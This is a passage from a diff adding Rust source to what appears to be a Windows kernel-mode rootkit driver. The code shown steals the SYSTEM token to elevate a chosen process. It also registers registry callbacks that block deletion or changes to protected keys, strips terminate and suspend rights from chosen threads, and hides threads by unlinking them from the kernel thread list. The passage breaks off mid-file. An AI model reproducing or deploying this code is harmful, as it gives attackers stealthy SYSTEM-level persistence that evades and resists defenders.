|
target_token_ptr.write(system_token_ptr.read());
|
||||||
|
|
||||||
|
log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}");
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope.
|
||||||
|
impl Drop for Process {
|
||||||
|
/// Cleans up the resources held by the `Process` structure.
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.e_process.is_null() {
|
||||||
|
unsafe { ObfDereferenceObject(self.e_process as _) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
204
driver/src/registry/callback.rs
Normal file
204
driver/src/registry/callback.rs
Normal file
@@ -0,0 +1,204 @@
|
|||||||
|
#![allow(non_upper_case_globals)]
|
||||||
|
|
||||||
|
use {
|
||||||
|
crate::registry::Registry,
|
||||||
|
crate::utils::valid_kernel_memory,
|
||||||
|
alloc::string::String,
|
||||||
|
core::{ffi::c_void, ptr::null_mut},
|
||||||
|
wdk_sys::{
|
||||||
|
*,
|
||||||
|
ntddk::{
|
||||||
|
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx
|
||||||
|
},
|
||||||
|
_REG_NOTIFY_CLASS::{
|
||||||
|
RegNtPreDeleteKey, RegNtPreDeleteValueKey, RegNtPreSetValueKey
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Handle for Registry Callback
|
||||||
|
pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() };
|
||||||
|
|
||||||
|
/// The registry callback function handles registry-related operations based on the notification class.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `_callback_context`: A pointer to the callback context, usually not used.
|
||||||
|
/// - `argument1`: A pointer to the notification class.
|
||||||
|
/// - `argument2`: A pointer to the information related to the registry operation.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the result of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe extern "C" fn registry_callback(
|
||||||
|
_callback_context: *mut c_void,
|
||||||
|
argument1: *mut c_void,
|
||||||
|
argument2: *mut c_void,
|
||||||
|
) -> NTSTATUS {
|
||||||
|
let status;
|
||||||
|
|
||||||
|
let reg_notify_class = argument1 as i32;
|
||||||
|
match reg_notify_class {
|
||||||
|
RegNtPreSetValueKey => {
|
||||||
|
status = pre_set_value_key(argument2 as *mut REG_SET_VALUE_KEY_INFORMATION);
|
||||||
|
},
|
||||||
|
RegNtPreDeleteValueKey => {
|
||||||
|
status = pre_delete_value_key(argument2 as *mut REG_DELETE_VALUE_KEY_INFORMATION);
|
||||||
|
},
|
||||||
|
RegNtPreDeleteKey => {
|
||||||
|
status = pre_delete_key(argument2 as *mut REG_DELETE_KEY_INFORMATION);
|
||||||
|
}
|
||||||
|
_ => return STATUS_SUCCESS,
|
||||||
|
}
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Handles the pre-delete key operation.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info`: A pointer to `REG_DELETE_KEY_INFORMATION`.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure.
|
||||||
|
///
|
||||||
|
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
|
let status;
|
||||||
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
|
return STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let key = match read_key(info) {
|
||||||
|
Ok(key) => key,
|
||||||
|
Err(err) => return err
|
||||||
|
};
|
||||||
|
|
||||||
|
status = if Registry::check_key(key) {
|
||||||
|
STATUS_ACCESS_DENIED
|
||||||
|
} else {
|
||||||
|
STATUS_SUCCESS
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Handles the pre-delete value key operation.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info`: A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure.
|
||||||
|
///
|
||||||
|
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
|
return STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let key = match read_key(info) {
|
||||||
|
Ok(key) => key,
|
||||||
|
Err(err) => return err
|
||||||
|
};
|
||||||
|
|
||||||
|
let value_name = (*info).ValueName;
|
||||||
|
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
|
||||||
|
return STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
||||||
|
let name = String::from_utf16_lossy(buffer);
|
||||||
|
if Registry::check_target(key.clone(), name.clone()) {
|
||||||
|
STATUS_ACCESS_DENIED
|
||||||
|
} else {
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Handles the pre-set value key operation.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info`: A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure.
|
||||||
|
///
|
||||||
|
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
|
return STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let key = match read_key(info) {
|
||||||
|
Ok(key) => key,
|
||||||
|
Err(err) => return err
|
||||||
|
};
|
||||||
|
|
||||||
|
let value_name = (*info).ValueName;
|
||||||
|
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
|
||||||
|
return STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize);
|
||||||
|
let name = String::from_utf16_lossy(buffer);
|
||||||
|
if Registry::check_target(key.clone(), name.clone()) {
|
||||||
|
STATUS_ACCESS_DENIED
|
||||||
|
} else {
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Reads the key name from the registry information.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info`: A pointer to the registry information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Result<String, NTSTATUS>`: The key name or an error status.
|
||||||
|
///
|
||||||
|
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
|
||||||
|
let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut();
|
||||||
|
let status = CmCallbackGetKeyObjectIDEx(
|
||||||
|
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
|
||||||
|
(*info).get_object(),
|
||||||
|
null_mut(),
|
||||||
|
&mut reg_path,
|
||||||
|
0
|
||||||
|
);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
if reg_path.is_null() || (*reg_path).Buffer.is_null() || (*reg_path).Length == 0 || !valid_kernel_memory((*reg_path).Buffer as u64) {
|
||||||
|
CmCallbackReleaseKeyObjectIDEx(reg_path);
|
||||||
|
return Err(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts((*reg_path).Buffer, ((*reg_path).Length / 2) as usize);
|
||||||
|
let name = String::from_utf16_lossy(buffer);
|
||||||
|
|
||||||
|
CmCallbackReleaseKeyObjectIDEx(reg_path);
|
||||||
|
|
||||||
|
Ok(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Trait for accessing the object in registry information.
|
||||||
|
trait RegistryInfo {
|
||||||
|
fn get_object(&self) -> *mut c_void;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_DELETE_KEY_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION {
|
||||||
|
fn get_object(&self) -> *mut c_void {
|
||||||
|
self.Object
|
||||||
|
}
|
||||||
|
}
|
||||||
190
driver/src/registry/mod.rs
Normal file
190
driver/src/registry/mod.rs
Normal file
@@ -0,0 +1,190 @@
|
|||||||
|
extern crate alloc;
|
||||||
|
|
||||||
|
use {
|
||||||
|
alloc::{string::{String, ToString}, vec::Vec},
|
||||||
|
core::marker::PhantomData,
|
||||||
|
shared::structs::TargetRegistry,
|
||||||
|
spin::{lazy::Lazy, Mutex},
|
||||||
|
wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub mod callback;
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub use callback::*;
|
||||||
|
|
||||||
|
/// List of keys and target values.
|
||||||
|
pub static TARGET_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20)));
|
||||||
|
|
||||||
|
/// List of target keys.
|
||||||
|
static TARGET_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(20)));
|
||||||
|
|
||||||
|
/// Trait defining common operations for registry lists.
|
||||||
|
trait RegistryList<T> {
|
||||||
|
/// Adds an item to the registry list.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `list`: A mutable reference to the list.
|
||||||
|
/// - `item`: The item to be added.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status code indicating success or failure of the operation.
|
||||||
|
fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
|
||||||
|
|
||||||
|
/// Removes an item from the registry list.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `list`: A mutable reference to the list.
|
||||||
|
/// - `item`: The item to be removed.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status code indicating success or failure of the operation.
|
||||||
|
fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
|
||||||
|
|
||||||
|
/// Checks if an item is in the registry list.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `list`: A reference to the list.
|
||||||
|
/// - `item`: The item to be checked.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `bool`: Returns true if the item is in the list, or false otherwise.
|
||||||
|
fn contains_item(list: &Vec<T>, item: &T) -> bool;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implement the trait for the list of key-value pairs.
|
||||||
|
impl RegistryList<(String, String)> for Vec<(String, String)> {
|
||||||
|
fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS {
|
||||||
|
if list.len() >= 20 {
|
||||||
|
log::error!("The list of protected values is full");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) {
|
||||||
|
log::warn!("Key-value ({}, {}) already exists in the list", item.0, item.1);
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
list.push(item);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS {
|
||||||
|
if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) {
|
||||||
|
list.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
log::error!("Key-value ({}, {}) not found in list", item.0, item.1);
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool {
|
||||||
|
list.contains(item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implement the trait for the list of keys.
|
||||||
|
impl RegistryList<String> for Vec<String> {
|
||||||
|
fn add_item(list: &mut Vec<String>, item: String) -> NTSTATUS {
|
||||||
|
if list.len() >= 20 {
|
||||||
|
log::error!("The list of protected keys is full");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if list.contains(&item) {
|
||||||
|
log::warn!("Key ({}) already exists in the list", item);
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
list.push(item);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
fn remove_item(list: &mut Vec<String>, item: &String) -> NTSTATUS {
|
||||||
|
if let Some(index) = list.iter().position(|k| k == item) {
|
||||||
|
list.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
log::error!("Key ({}) not found in list", item);
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn contains_item(list: &Vec<String>, item: &String) -> bool {
|
||||||
|
list.contains(item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Structure representing the Registry.
|
||||||
|
pub struct Registry<T> {
|
||||||
|
_marker: PhantomData<T>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Registry<(String, String)> {
|
||||||
|
/// Adds or removes a key-value pair from the list of protected values.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `target`: The `TargetRegistry` structure representing the key-value pair to be protected or removed.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status code indicating success or failure of the operation.
|
||||||
|
pub fn add_remove_registry_toggle(target: *mut TargetRegistry) -> NTSTATUS {
|
||||||
|
let mut list = TARGET_KEY_VALUES.lock();
|
||||||
|
let key = unsafe { &(*target).key };
|
||||||
|
let value = unsafe { &(*target).value };
|
||||||
|
let status = if unsafe { (*target).enable } {
|
||||||
|
Vec::add_item(&mut list, (key.clone(), value.clone()))
|
||||||
|
} else {
|
||||||
|
Vec::remove_item(&mut list, &(key.clone(), value.clone()))
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Checks if the key-value pair is in the list of protected values.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `key`: The key being checked.
|
||||||
|
/// - `value`: The value being checked.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `bool`: Returns true if the key-value pair is in the list, or false otherwise.
|
||||||
|
pub fn check_target(key: String, value: String) -> bool {
|
||||||
|
let list = TARGET_KEY_VALUES.lock();
|
||||||
|
Vec::contains_item(&list, &(key, value))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Registry<String> {
|
||||||
|
/// Adds or removes a key from the list of protected keys.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `key`: The key to be protected or removed.
|
||||||
|
/// - `enable`: A boolean indicating whether to add (true) or remove (false) the key.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status code indicating success or failure of the operation.
|
||||||
|
pub fn add_remove_key_toggle(target: *mut TargetRegistry) -> NTSTATUS {
|
||||||
|
let key = unsafe { &(*target).key }.to_string();
|
||||||
|
let enable = unsafe { (*target).enable };
|
||||||
|
let mut list = TARGET_KEYS.lock();
|
||||||
|
if enable {
|
||||||
|
Vec::add_item(&mut list, key)
|
||||||
|
} else {
|
||||||
|
Vec::remove_item(&mut list, &key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Checks if the key is in the list of protected keys.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `key`: The key being checked.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `bool`: Returns true if the key is in the list, or false otherwise.
|
||||||
|
pub fn check_key(key: String) -> bool {
|
||||||
|
let list = TARGET_KEYS.lock();
|
||||||
|
Vec::contains_item(&list, &key)
|
||||||
|
}
|
||||||
|
}
|
||||||
141
driver/src/thread/callback.rs
Normal file
141
driver/src/thread/callback.rs
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
#![cfg(not(feature = "mapper"))]
|
||||||
|
|
||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
core::ffi::c_void,
|
||||||
|
shared::{structs::{ThreadListInfo, ThreadProtection}, vars::MAX_TIDS},
|
||||||
|
spin::{lazy::Lazy, Mutex},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::PsGetThreadId, NTSTATUS, OB_PRE_OPERATION_INFORMATION, PETHREAD,
|
||||||
|
PVOID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL, THREAD_GET_CONTEXT,
|
||||||
|
THREAD_SET_CONTEXT, THREAD_SUSPEND_RESUME, THREAD_TERMINATE,
|
||||||
|
STATUS_DUPLICATE_OBJECTID, _OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Handle for the thread callback registration.
|
||||||
|
pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: PVOID = core::ptr::null_mut();
|
||||||
|
|
||||||
|
/// List of the target TIDs
|
||||||
|
static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TIDS)));
|
||||||
|
|
||||||
|
/// Method to check if the action sent is to add or remove a tid from the list of protected threads
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: Structure with information about the process that will be added or removed from the list of protected threads.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS {
|
||||||
|
let tid = unsafe { (*process).tid };
|
||||||
|
let status = if unsafe { (*process).enable } {
|
||||||
|
add_target_tid(tid)
|
||||||
|
} else {
|
||||||
|
remove_target_tid(tid)
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Method for adding the list of threads that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `tid`: The identifier of the target process (tid) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
fn add_target_tid(tid: usize) -> NTSTATUS {
|
||||||
|
let mut tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
|
if tids.len() >= MAX_TIDS {
|
||||||
|
log::error!("tid list is full");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if tids.contains(&tid) {
|
||||||
|
log::warn!("tid {} already exists in the list", tid);
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
tids.push(tid);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Method for removing the list of threads that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `tid`: The identifier of the target process (tid) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
fn remove_target_tid(tid: usize) -> NTSTATUS {
|
||||||
|
let mut tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
|
if tids.len() >= MAX_TIDS {
|
||||||
|
log::error!("tid list is full");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(index) = tids.iter().position(|&x| x == tid) {
|
||||||
|
tids.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
log::error!("TID {} not found in the list", tid);
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerate threads Protect.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info_process`: It is a parameter of type `Infothreads` that will send the threads that are currently protected.
|
||||||
|
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn enumerate_protection_threads(info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
let process_info = TARGET_TIDS.lock();
|
||||||
|
let mut count = 0;
|
||||||
|
for i in process_info.iter() {
|
||||||
|
(*info_process.offset(count)).tids = *i;
|
||||||
|
|
||||||
|
*information += core::mem::size_of::<ThreadListInfo>();
|
||||||
|
count += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `_registration_context`: A pointer to the registration context (unused).
|
||||||
|
/// - `info`: A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `_OB_PREOP_CALLBACK_STATUS::Type`: A status code indicating the success of the pre-operation.
|
||||||
|
///
|
||||||
|
pub unsafe extern "C" fn on_pre_open_thread(
|
||||||
|
_registration_context: *mut c_void,
|
||||||
|
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||||
|
) -> _OB_PREOP_CALLBACK_STATUS::Type {
|
||||||
|
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
||||||
|
return OB_PREOP_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let thread = (*info).Object as PETHREAD;
|
||||||
|
let tid = PsGetThreadId(thread) as usize;
|
||||||
|
let tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
|
if tids.contains(&tid) {
|
||||||
|
log::info!("Anti-Kill actived with TID => {}", tid);
|
||||||
|
let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT);
|
||||||
|
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
||||||
|
}
|
||||||
|
|
||||||
|
OB_PREOP_SUCCESS
|
||||||
|
}
|
||||||
250
driver/src/thread/mod.rs
Normal file
250
driver/src/thread/mod.rs
Normal file
@@ -0,0 +1,250 @@
|
|||||||
|
use {
|
||||||
|
spin::mutex::Mutex,
|
||||||
|
alloc::{boxed::Box, vec::Vec},
|
||||||
|
core::sync::atomic::{AtomicPtr, Ordering},
|
||||||
|
crate::utils::offsets::get_rundown_protect,
|
||||||
|
spin::lazy::Lazy,
|
||||||
|
shared::{
|
||||||
|
structs::{HiddenThreadInfo, TargetThread, LIST_ENTRY, ThreadListInfo, EnumerateInfoInput},
|
||||||
|
vars::{MAX_TIDS, Options}
|
||||||
|
},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::{
|
||||||
|
ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx,
|
||||||
|
ObfDereferenceObject, PsLookupThreadByThreadId
|
||||||
|
},
|
||||||
|
NTSTATUS, PLIST_ENTRY, STATUS_INVALID_PARAMETER, STATUS_SUCCESS,
|
||||||
|
STATUS_UNSUCCESSFUL, _LIST_ENTRY, PETHREAD, NT_SUCCESS
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub mod callback;
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub use callback::*;
|
||||||
|
|
||||||
|
/// List of target threads protected by a mutex.
|
||||||
|
pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<HiddenThreadInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TIDS)));
|
||||||
|
|
||||||
|
/// Represents a thread in the operating system.
|
||||||
|
pub struct Thread {
|
||||||
|
/// Pointer to the ETHREAD structure, used for managing process information.
|
||||||
|
pub e_thread: PETHREAD,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Thread {
|
||||||
|
/// Creates a new `Thread` instance by looking up a thread by its TID.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `tid`: The process identifier (TID) to look up.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
||||||
|
///
|
||||||
|
pub fn new(tid: usize) -> Option<Self> {
|
||||||
|
let mut thread = core::ptr::null_mut();
|
||||||
|
|
||||||
|
let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut thread) };
|
||||||
|
if NT_SUCCESS(status) {
|
||||||
|
Some(Self { e_thread: thread })
|
||||||
|
} else {
|
||||||
|
log::error!("PsLookupThreadByThreadId Failed With Status: {status}");
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: A pointer to the `TargetProcess` structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS {
|
||||||
|
let status = if (*thread).enable {
|
||||||
|
Self::hide_thread(thread)
|
||||||
|
} else {
|
||||||
|
Self::unhide_thread(thread)
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hides a thread by removing it from the list of active threads.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `tid`: The identifier of the target thread (TID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
unsafe fn hide_thread(target: *mut TargetThread) -> NTSTATUS {
|
||||||
|
let tid = (*target).tid;
|
||||||
|
|
||||||
|
// Offsets
|
||||||
|
let rundown_protect = get_rundown_protect();
|
||||||
|
let thread_list_entry = rundown_protect - core::mem::size_of::<usize>() as isize * 2;
|
||||||
|
let thread_lock = rundown_protect + core::mem::size_of::<usize>() as isize;
|
||||||
|
|
||||||
|
// Retrieving ETHREAD from the target thread
|
||||||
|
let thread = match Self::new(tid) {
|
||||||
|
Some(t) => t,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let list_entry = thread.e_thread.cast::<u8>().offset(thread_list_entry) as PLIST_ENTRY;
|
||||||
|
let push_lock = thread.e_thread.cast::<u8>().offset(thread_lock) as *mut u64;
|
||||||
|
|
||||||
|
ExAcquirePushLockExclusiveEx(push_lock, 0);
|
||||||
|
|
||||||
|
let next = (*list_entry).Flink; // Thread (3)
|
||||||
|
let previous = (*list_entry).Blink; // Thread (1)
|
||||||
|
let list = LIST_ENTRY {
|
||||||
|
Flink: next as *mut LIST_ENTRY,
|
||||||
|
Blink: previous as *mut LIST_ENTRY,
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut thread_info = THREAD_INFO_HIDE.lock();
|
||||||
|
let list_ptr = Box::into_raw(Box::new(list));
|
||||||
|
log::info!("Stored list entry at: {:?}", list_ptr);
|
||||||
|
|
||||||
|
thread_info.push(HiddenThreadInfo {
|
||||||
|
tid,
|
||||||
|
list_entry: AtomicPtr::new(list_ptr),
|
||||||
|
});
|
||||||
|
|
||||||
|
(*next).Blink = previous;
|
||||||
|
(*previous).Flink = next;
|
||||||
|
|
||||||
|
(*list_entry).Flink = list_entry;
|
||||||
|
(*list_entry).Blink = list_entry;
|
||||||
|
|
||||||
|
ExReleasePushLockExclusiveEx(push_lock, 0);
|
||||||
|
log::info!("Thread with TID {tid} hidden successfully.");
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Unhide a process by removing it from the list of active threads.
|
||||||
|
///
